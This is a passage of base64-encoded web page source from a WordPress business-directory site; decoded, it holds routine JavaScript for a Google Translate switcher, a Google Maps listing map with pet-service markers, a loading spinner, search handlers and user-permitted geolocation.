pbml0RXZlbnQoZXZlbnQsdHJ1ZSx0cnVlKTtlbGVtZW50LmRpc3BhdGNoRXZlbnQoZXZ0KX19Y2F0Y2goZSl7fX0KZnVuY3Rpb24gZG9HVHJhbnNsYXRlKGxhbmdfcGFpcil7aWYobGFuZ19wYWlyLnZhbHVlKWxhbmdfcGFpcj1sYW5nX3BhaXIudmFsdWU7aWYobGFuZ19wYWlyPT0nJylyZXR1cm47dmFyIGxhbmc9bGFuZ19wYWlyLnNwbGl0KCd8JylbMV07aWYoR1RyYW5zbGF0ZUdldEN1cnJlbnRMYW5nKCkgPT0gbnVsbCAmJiBsYW5nID09IGxhbmdfcGFpci5zcGxpdCgnfCcpWzBdKXJldHVybjt2YXIgdGVDb21ibzt2YXIgc2VsPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzZWxlY3QnKTtmb3IodmFyIGk9MDtpPHNlbC5sZW5ndGg7aSsrKWlmKC9nb29nLXRlLWNvbWJvLy50ZXN0KHNlbFtpXS5jbGFzc05hbWUpKXt0ZUNvbWJvPXNlbFtpXTticmVhazt9aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDInKT09bnVsbHx8ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDInKS5pbm5lckhUTUwubGVuZ3RoPT0wfHx0ZUNvbWJvLmxlbmd0aD09MHx8dGVDb21iby5pbm5lckhUTUwubGVuZ3RoPT0wKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZG9HVHJhbnNsYXRlKGxhbmdfcGFpcil9LDUwMCl9ZWxzZXt0ZUNvbWJvLnZhbHVlPWxhbmc7R1RyYW5zbGF0ZUZpcmVFdmVudCh0ZUNvbWJvLCdjaGFuZ2UnKTtHVHJhbnNsYXRlRmlyZUV2ZW50KHRlQ29tYm8sJ2NoYW5nZScpfX0KaWYoR1RyYW5zbGF0ZUdldEN1cnJlbnRMYW5nKCkgIT0gbnVsbClqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkge2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYub3B0aW9uJykuZmluZCgnaW1nW2FsdD0iJytHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSsnIl0nKS5wYXJlbnQoKS5odG1sKCkpO30pOwo8L3NjcmlwdD4KPC9kaXY+PC9saT48L3VsPjwvbmF2PgoJCTwvbmF2PgoKCTwvZGl2Pgo8L2hlYWRlcj4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LW1haW4tYmFyIiBkYXRhLWNhdGVnb3J5PSIwIiBkYXRhLWxvY2F0aW9uPSIwIiBkYXRhLXNlYXJjaD0iIiBkYXRhLWdlb2xvY2F0aW9uPSJmYWxzZSI+CgkJCTwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgp2YXIgbWFwRGl2LAoJbWFwLAoJaW5mb2JveDsKalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJbWFwRGl2ID0gJCgiI2RpcmVjdG9yeS1tYWluLWJhciIpOwoJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJbWFwRGl2LmhlaWdodCg1MDApLmdtYXAzKHsKCQltYXA6IHsKCQkJb3B0aW9uczogewoJCQkJImRyYWdnYWJsZSI6IHRydWUKCQkJCSwibWFwVHlwZUNvbnRyb2wiOiB0cnVlCgkJCQksIm1hcFR5cGVJZCI6IGdvb2dsZS5tYXBzLk1hcFR5cGVJZC5ST0FETUFQCgkJCQksInNjcm9sbHdoZWVsIjogZmFsc2UKCQkJCSwicGFuQ29udHJvbCI6IHRydWUKCQkJCSwicm90YXRlQ29udHJvbCI6IGZhbHNlCgkJCQksInNjYWxlQ29udHJvbCI6IHRydWUKCQkJCSwic3RyZWV0Vmlld0NvbnRyb2wiOiB0cnVlCgkJCQksInpvb21Db250cm9sIjogdHJ1ZQoJCQl9CgkJCSxldmVudHM6ewoJCQkJem9vbV9jaGFuZ2VkOiBmdW5jdGlvbihtYXApewoJCQkJCWNsdXN0ZXJlciA9IG1hcERpdi5nbWFwMyh7IGdldDogeyBuYW1lOiAiY2x1c3RlcmVyIiB9fSk7CgkJCQkJaWYgKG1hcC5nZXRab29tKCkgPj0gMTkpIHsKCQkJCQkJaWYgKGNsdXN0ZXJFbmFibGVkKSB7CgkJCQkJCQljbHVzdGVyZXIuZGlzYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSBmYWxzZTsKCQkJCQkJfQoJCQkJCX0gZWxzZSB7CgkJCQkJCWlmICghY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5lbmFibGUoKTsKCQkJCQkJCWNsdXN0ZXJFbmFibGVkID0gdHJ1ZTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQksbWFya2VyOiB7CgkJCXZhbHVlczogWwoJCQkJCXsKCQkJCQkJbGF0TG5nOiBbNDEuODkwODU5MSwtODcuNjM1ODQ0MDAwMDAwMDJdLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL21hcmtlcl9zcXVhcmVkX3llbGxvdy5wbmciLAoJCQkJCQkJc2hhZG93OiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQkJCX0sCgkJCQkJCWRhdGE6IAknPGRpdiBjbGFzcz0ibWFya2VyLWhvbGRlciI+JysKCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50IHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZGVmYXVsdC1wb3N0LWltYWdlLmpwZyIgYWx0PSIiPicrCgkJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0idGl0bGUiPicrIlBVUFMgUGV0IENsdWIiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJyYXRpbmciPicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciBhY3RpdmUiPjwvZGl2PicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciBhY3RpdmUiPjwvZGl2PicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIj48L2Rpdj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIiPjwvZGl2PicrCgkJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrIjMxNiBXIElsbGlub2lzIFN0PGJyIFwvPlxuQ2hpY2FnbywgSUwgNjA2NTQiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2Rpci1pdGVtPXB1cHMtcGV0LWNsdWIiIGNsYXNzPSJtb3JlLWJ1dHRvbiI+JyArICJWSUVXIE1PUkUiICsgJzwvYT4nKwoJCQkJCQkJCQkJCSc8L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+JysKCQkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQknPC9kaXY+JwoJCQkJCX0sCgkJCQkJewoJCQkJCQlsYXRMbmc6IFszNy43OTEyODU1OTk5OTk5OSwtMTIyLjM5MzcwMDcwMDAwMDAxXSwKCQkJCQkJb3B0aW9uczogewoJCQkJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9jb21wYW55LnBuZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9kZWZhdWx0LXBvc3QtaW1hZ2UuanBnIiBhbHQ9IiI+JysKCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJ0aXRsZSI+JysiZG9nIHdhbGtlciIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrIjE1NSBtYWluIHN0cmVldCAgc2FuIGZyYW5zaWNvIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9kaXItaXRlbT1kb2ctd2Fsa2VyLTIiIGNsYXNzPSJtb3JlLWJ1dHRvbiI+JyArICJWSUVXIE1PUkUiICsgJzwvYT4nKwoJCQkJCQkJCQkJCSc8L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+JysKCQkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQknPC9kaXY+JwoJCQkJCX0sCgkJCQkJewoJCQkJCQlsYXRMbmc6IFs0Mi4wOTQ2NTIsLTcyLjc0NTM5Mzk5OTk5OTk4XSwKCQkJCQkJb3B0aW9uczogewoJCQkJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9jb21wYW55LnBuZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9kZWZhdWx0LXBvc3QtaW1hZ2UuanBnIiBhbHQ9IiI+JysKCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJ0aXRsZSI+JysiRG9nIFdhbGtlciIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrIjEwMzcgc2hha2VyIHJvYWQ8YnIgXC8+XG53ZXN0ZmllbGQiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2Rpci1pdGVtPWRvZy13YWxrZXIiIGNsYXNzPSJtb3JlLWJ1dHRvbiI+JyArICJWSUVXIE1PUkUiICsgJzwvYT4nKwoJCQkJCQkJCQkJCSc8L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+JysKCQkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQknPC9kaXY+JwoJCQkJCX0KCQkJXSwKCQkJb3B0aW9uczp7CgkJCQlkcmFnZ2FibGU6IGZhbHNlCgkJCX0sCgkJCWNsdXN0ZXI6ewoJCQkJcmFkaXVzOiAyMCwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAwIG1hcmtlcnMKCQkJCTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTEnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDIwIG1hcmtlcnMKCQkJCTIwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0yJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiA1MCBtYXJrZXJzCgkJCQk1MDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMyc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQlldmVudHM6IHsKCQkJCQljbGljazogZnVuY3Rpb24oY2x1c3RlcikgewoJCQkJCQltYXAucGFuVG8oY2x1c3Rlci5tYWluLmdldFBvc2l0aW9uKCkpOwoJCQkJCQltYXAuc2V0Wm9vbShtYXAuZ2V0Wm9vbSgpICsgMik7CgkJCQkJfQoJCQkJfQoJCQl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQl2YXIgbWFwID0galF1ZXJ5KHRoaXMpLmdtYXAzKCJnZXQiKTsKCQkJCQlqUXVlcnkoIiNkaXJlY3RvcnktbWFpbi1iYXIiKS5maW5kKCcuaW5mb0JveCcpLnJlbW92ZSgpOwoJCQkJCWlmKGNvbnRleHQuZGF0YSAhPSAiZGlzYWJsZWQiKXsKCgkJCQkJCXZhciBpbmZvQm94T3B0aW9ucyA9IHsKCQkJCQkJCWNvbnRlbnQ6IGNvbnRleHQuZGF0YSwKCQkJCQkJCWRpc2FibGVBdXRvUGFuOiBmYWxzZSwKCQkJCQkJCW1heFdpZHRoOiAxNTAsCgkJCQkJCQlwaXhlbE9mZnNldDogbmV3IGdvb2dsZS5tYXBzLlNpemUoLTUwLCAtNjUpLAoJCQkJCQkJYm94U3R5bGU6IHsKCQkJCQkJCQl3aWR0aDogIjI5MHB4IgoJCQkJCQkJfSwKCQkJCQkJCWNsb3NlQm94TWFyZ2luOiAiNHB4IiwKCQkJCQkJCWNsb3NlQm94VVJMOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL3BvcF91cC1jbG9zZS5wbmciLAoJCQkJCQkJLy8gZW5hYmxlRXZlbnRQcm9wYWdhdGlvbjogdHJ1ZSwKCQkJCQkJCWluZm9Cb3hDbGVhcmFuY2U6IG5ldyBnb29nbGUubWFwcy5TaXplKDEsIDEpLAoJCQkJCQkJcG9zaXRpb246IG1hcmtlci5wb3NpdGlvbgoJCQkJCQl9OwoJCQkJCQlpbmZvYm94ID0gbmV3IEluZm9Cb3goaW5mb0JveE9wdGlvbnMpOwoKCQkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoJCQkJCX0KCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSAJfSwiYXV0b2ZpdCIpOwoKCW1hcCA9IG1hcERpdi5nbWFwMygiZ2V0Iik7CglpbmZvYm94ID0gbmV3IEluZm9Cb3goewoJCXBpeGVsT2Zmc2V0OiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgtNTAsIC02NSksCgkJY2xvc2VCb3hVUkw6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJYm94U3R5bGU6IHsKCQkJd2lkdGg6ICIyOTBweCIKCQl9LAoJCWNsb3NlQm94TWFyZ2luOiAiNHB4IiwKCQllbmFibGVFdmVudFByb3BhZ2F0aW9uOiBmYWxzZQoJfSk7CgoJaWYgKE1vZGVybml6ci50b3VjaCl7CgkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiBmYWxzZSB9KTsKCQl2YXIgZHJhZ2dhYmxlQ2xhc3MgPSAnaW5hY3RpdmUnOwoJCXZhciBkcmFnZ2FibGVUaXRsZSA9ICJBY3RpdmF0ZSBtYXAiOwoJCXZhciBkcmFnZ2FibGVCdXR0b24gPSAkKCc8ZGl2IGNsYXNzPSJkcmFnZ2FibGUtdG9nZ2xlLWJ1dHRvbiAnK2RyYWdnYWJsZUNsYXNzKyciPicrZHJhZ2dhYmxlVGl0bGUrJzwvZGl2PicpLmFwcGVuZFRvKG1hcERpdik7CgkJZHJhZ2dhYmxlQnV0dG9uLmNsaWNrKGZ1bmN0aW9uICgpIHsKCQkJaWYoJCh0aGlzKS5oYXNDbGFzcygnYWN0aXZlJykpewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnYWN0aXZlJykuYWRkQ2xhc3MoJ2luYWN0aXZlJykudGV4dCgiQWN0aXZhdGUgbWFwIik7CgkJCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCQl9IGVsc2UgewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnaW5hY3RpdmUnKS5hZGRDbGFzcygnYWN0aXZlJykudGV4dCgiRGVhY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogdHJ1ZSB9KTsKCQkJfQoJCX0pOwoJfQoKLy8gbG9hZGluZyBzcGlubmVyCnZhciBvcHRzID0gewoJbGluZXM6IDEzLCAvLyBUaGUgbnVtYmVyIG9mIGxpbmVzIHRvIGRyYXcKCWxlbmd0aDogOSwgLy8gVGhlIGxlbmd0aCBvZiBlYWNoIGxpbmUKCXdpZHRoOiA5LCAvLyBUaGUgbGluZSB0aGlja25lc3MKCXJhZGl1czogMjcsIC8vIFRoZSByYWRpdXMgb2YgdGhlIGlubmVyIGNpcmNsZQoJY29ybmVyczogMSwgLy8gQ29ybmVyIHJvdW5kbmVzcyAoMC4uMSkKCXJvdGF0ZTogMCwgLy8gVGhlIHJvdGF0aW9uIG9mZnNldAoJY29sb3I6ICcjRkZGJywgLy8gI3JnYiBvciAjcnJnZ2JiCglzcGVlZDogMS44LCAvLyBSb3VuZHMgcGVyIHNlY29uZAoJdHJhaWw6IDgxLCAvLyBBZnRlcmdsb3cgcGVyY2VudGFnZQoJc2hhZG93OiB0cnVlLCAvLyBXaGV0aGVyIHRvIHJlbmRlciBhIHNoYWRvdwoJaHdhY2NlbDogZmFsc2UsIC8vIFdoZXRoZXIgdG8gdXNlIGhhcmR3YXJlIGFjY2VsZXJhdGlvbgoJY2xhc3NOYW1lOiAnc3Bpbm5lcicsIC8vIFRoZSBDU1MgY2xhc3MgdG8gYXNzaWduIHRvIHRoZSBzcGlubmVyCgl6SW5kZXg6IDJlOSwgLy8gVGhlIHotaW5kZXggKGRlZmF1bHRzIHRvIDIwMDAwMDAwMDApCgl0b3A6ICdhdXRvJywgLy8gVG9wIHBvc2l0aW9uIHJlbGF0aXZlIHRvIHBhcmVudCBpbiBweAoJbGVmdDogJ2F1dG8nIC8vIExlZnQgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4Cn07Cgp2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RpcmVjdG9yeS1tYWluLWJhcicpLAoJc3Bpbm5lciA9IG5ldyBTcGlubmVyKG9wdHMpLnNwaW4odGFyZ2V0KSwKCXNwaW5uZXJEaXYgPSBtYXBEaXYuZmluZCgnLnNwaW5uZXInKTsKCnZhciBzZWFyY2ggPSAkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLAoJc2VhcmNoSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKSwKCXNlYXJjaFN1Ym1pdCA9ICQoJyNkaXItc2VhcmNoc3VibWl0JyksCgljYXRlZ29yeUlucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLAoJbG9jYXRpb25JbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKSwKCWdlb0lucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKSwKCWdlb0lucHV0UmFkaXVzID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzJyksCglnZW9JbnB1dExhdCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCcpLAoJZ2VvSW5wdXRMbmcgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1sbmcnKTsKCmZ1bmN0aW9uIHNob3dMb2FkaW5nKGRpc2FibGVTdWJtaXQpIHsKCXZhciB0b3BQb3NpdGlvbiA9IG1hcERpdi5oZWlnaHQoKSAvIDI7CglzcGlubmVyRGl2LmNzcygndG9wJyx0b3BQb3NpdGlvbisncHgnKS5mYWRlSW4oKTsKCWlmIChkaXNhYmxlU3VibWl0KSB7CgkJc2VhcmNoU3VibWl0LmF0dHIoJ2Rpc2FibGVkJywgdHJ1ZSk7Cgl9Cn0KCmZ1bmN0aW9uIGhpZGVMb2FkaW5nKCkgewoJc3Bpbm5lckRpdi5mYWRlT3V0KCk7CglzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCBmYWxzZSk7Cn0KCi8vIHNldCBpbnRlcmFjdGl2ZSBzZWFyY2gKaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJc2VhcmNoSW5wdXQudHlwZVdhdGNoKHsKCQljYWxsYmFjazogZnVuY3Rpb24oKSB7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0sCgkJd2FpdDogNTAwLAoJCWhpZ2hsaWdodDogZmFsc2UsCgkJY2FwdHVyZUxlbmd0aDogMAoJfSk7CgoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlc2VsZWN0IiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlLHVpLml0ZW0udmFsdWUsZmFsc2UpOwoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsZmFsc2UsdWkuaXRlbS52YWx1ZSk7Cgl9KTsKCWNhdGVnb3J5SW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVjbG9zZSIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJaWYoJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpID09ICcwJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0pOwp9CgokKCcjZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIC5pY29uJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLnRvZ2dsZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLmhpZGUoKTsKfSk7CgokKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCAudmFsdWUtc2xpZGVyJykuc2xpZGVyKHsKCXZhbHVlOiBnZW9JbnB1dFJhZGl1cy52YWwoKSwKCW1pbjogMSwKCW1heDogMzAwLAoJc3RlcDogMSwKCWNoYW5nZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycgJiYgZ2VvSW5wdXQuaXMoJzpjaGVja2VkJykpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9LAoJc2xpZGU6IGZ1bmN0aW9uKGV2ZW50LCB1aSkgewoJCWdlb0lucHV0UmFkaXVzLnZhbCh1aS52YWx1ZSk7Cgl9Cn0pOwoKLy8gR2VvbG9jYXRpb24KCmdlb0lucHV0LkZhbmN5Q2hlY2tib3goKTsKCmZ1bmN0aW9uIGVuYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCB0cnVlKTsKCWdlb0lucHV0Lm5leHQoKS5yZW1vdmVDbGFzcygnb2ZmJykuYWRkQ2xhc3MoJ29uJyk7Cn0KCmZ1bmN0aW9uIGRpc2FibGVHZW8oKSB7CglnZW9JbnB1dC5hdHRyKCdjaGVja2VkJywgZmFsc2UpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKfQoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCgkJCX0sIGZ1bmN0aW9uKGVycm9yKXsKCQkJCWRpc2FibGVHZW8oKTsKCQkJCWhpZGVMb2FkaW5nKCk7CgkJCX0pOwoJCX0gZWxzZSB7CgkJCWRpc2FibGVHZW8oKTsKCQkJaGlkZUxvYWRpbmcoKTsKCQl9CgoJfQoKZ2VvSW5wdXQub24oImNoYW5nZSIsZnVuY3Rpb24oZXZlbnQpIHsKCglpZihnZW9JbnB1dC5pcygiOmNoZWNrZWQiKSkgewoKCQkvLyBlbmFibGUgYWZ0ZXIgdXNlciBhbGxvdyBnZW9sb2NhdGlvbgoJCWRpc2FibGVHZW8oKTsKCQlzaG93TG9hZ